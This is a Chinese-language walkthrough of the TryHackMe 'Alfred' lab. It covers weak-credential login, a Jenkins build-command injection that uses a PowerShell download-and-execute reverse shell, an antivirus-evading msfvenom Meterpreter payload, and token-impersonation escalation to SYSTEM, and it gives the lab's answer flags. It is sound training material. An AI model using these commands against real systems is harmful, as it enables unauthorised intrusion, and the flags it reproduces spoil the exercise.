Tryhackme 靶機入侵實作 – Alfred

項目名稱:Alfred

Task.1 Initial Access

Q1.How many ports are open? (TCP only)

A:3

執行nmap來掃描目標
nmap -sT -T4 -Pn 10.10.12.227
可以看到開3個Port

Q2.What is the username and password for the log in panel(in the format username:password)

A:admin:admin

進去10.10.12.227:8080後能看到一個登入介面

嘗試弱密碼 admin:admin

發現可以直接登入

Q3.You first need to download the Powershell script, and make it available for the server to download. You can do this by creating a http server with python: python3 -m http.server

這一步主要是要把Reverse Shell塞到目標的電腦裡面並成功反彈回來

首先 你必須拿到Invoke-PowerShellTcp.ps1這個Reverse Shell https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

下一步 點project

進去後點Configure

進去後往下滑 可以看到有命令欄

做到這一步的時候先切回本機

我們必須先製作一個WebServer來傳輸檔案過去目標

sudo python -m SimpleHTTPServer 8100

接著再把要從伺服器下載檔案的指令放到命令欄裡面

powershell iex (New-Object Net.WebClient).DownloadString('http://<IP>:<Port>t/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <IP> -Port <Port>

注意 最後面的Port是要Reverse回來的Port 記得要設nc監聽的Port

完成以後應該會長這樣

然後再點Apply

接著再點Save

然後再回到本機監聽剛剛設置的Port

nc -lvnp 9000

設置好以後點網頁上的Build Now

等一段時間後看剛剛監聽的Terminal

Reverse Shell成功

Q4.What is the user.txt flag?

A:79007a09481963edf2e1321abd9ae2a0

cd C:\Users\bruce\Desktop\user.txt
type user.txt

Task.2 Switching Shells

這一步主要在做的內容是把現有的Shell轉變成Metasploit的Shell

因為Metasploit的Shell有比較好的控制性 所以轉換過去是沒有壞處的

首先 先開啟一個新的Terminal 並生成一個Meterpreter/reverse_tcp

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe

-p windows/meterpreter/reverse_tcp 指的是Meterpreter的payload

-a x86 的意思是x86位元

–encoder x86/shikata_ga_nai 是利用迭代編碼技術來規避防毒軟體偵測 避免生成出來的reverse shell一進去就被殺掉

-f exe 是指.exe檔案

-o 是輸出檔案

輸出完成的結果

接著把剛生成好的reverse shell送到目標主機裡

但在那之前 先把路徑先切到C:\Windows\Temp 因為這裡通常所有權限都能自由使用裡面的內容

利用PowerShell來下載檔案

powershell "(New-Object System.Net.WebClient).Downloadfile('http://[IP]:[Port]/[FileName]','[FileName]')"

可以從自架的HTTPServer看到下載成功

輸入dir也能看到檔案已經成功下載到目錄裡了

先回到本機並開啟msfcolsole

msfconsole

開啟後使用handler腳本

use exploit/multi/handler
show options

注意 這裡的Payload一定要跟剛剛生成的Payload一樣 不然不會有反應

set payload windows/meterpreter/reverse_tcp
show options

可以看到LPORT跟之前設定的Port是不一樣的 所以要設定回來

set lport <Port>

都設定好以後就能執行了

exploit

然後回到剛剛的Windows機器上

Start-Process "reverse_9999.exe"

執行後可以看到本地的Metasploit已經接收到對方發送過來的shell了

Q1.What is the final size of the exe payload that you generated?

A:73802

剛剛生成出來的時候有看到大小是73802 bytes

Task.3 Privilege Escalation

Q1.View all the privileges using whoami /priv 查看所有權限

whoami /priv

Q2.You can see that two privileges(SeDebugPrivilege, SeImpersonatePrivilege) are enabled. Let’s use the incognito module that will allow us to exploit this vulnerability. Enter: load incognito to load the incognito module in metasploit. Please note, you may need to use the use incognito command if the previous command doesn’t work. Also ensure that your metasploit is up to date.

我們已經啟用兩個權限了(SeDebugPrivilege SelmpersonatePrivilege) 加載Metasploit內的隱身模塊
load incognito

Q3.To check which tokens are available, enter the list_tokens -g. We can see that the BUILTIN\Administrators token is available. Use the impersonate_token “BUILTIN\Administrators” command to impersonate the Administrators token. What is the output when you run the getuid command?

A:NT AUTHORITY\SYSTEM

檢查哪個令牌可以用
list_tokens -g

可以看到BUILTIN\Administrators可以用

模擬管理員令牌

impersonate_token "BUILTIN\Administrators"
getuid

可以看到我們已經是系統管理員了

Q4.Even though you have a higher privileged token you may not actually have the permissions of a privileged user (this is due to the way Windows handles permissions – it uses the Primary Token of the process and not the impersonated token to determine what the process can or cannot do). Ensure that you migrate to a process with correct permissions (above questions answer). The safest process to pick is the services.exe process. First use the ps command to view processes and find the PID of the services.exe process. Migrate to this process using the command migrate PID-OF-PROCESS

儘管我們有管理員身分了 但我們現在的Process還不是 查看所有的Process
ps

Tryhackme要我們轉移到services.exe

可以看到名字是services.exe

migrate -N services.exe

恭喜 我們現在的shell有NT AUTHORITY\SYSTEM身分了

Q5.read the root.txt file at C:\Windows\System32\config

A:dff0f748678f280250f25a45b8046b4a

cd config
cat root.txt

心得:

這台一開始我在reverse的地方卡住 本來想說奇怪為什麼彈不回來 後來發現是兩邊的Payload不對 msfvenom生成的Payload不能用在netcat上 後來去洗個澡後思路通了就直接過了 這台可以學到Windows令牌提權跟Powershell下載檔案還有Invoke-PowerShellTcp.ps1的一點用法

免責聲明

未經事先雙方同意,使用工具攻擊目標是非法的.請遵守當地法律規範.開發者與本作者對此文章不承擔任何責任,也不對任何濫用或損壞負責.

This is only for testing purposes and can only be used where strict consent has been given. Do not use this for illegal purposes, period.

Back To Top
error: 內容被保護 !!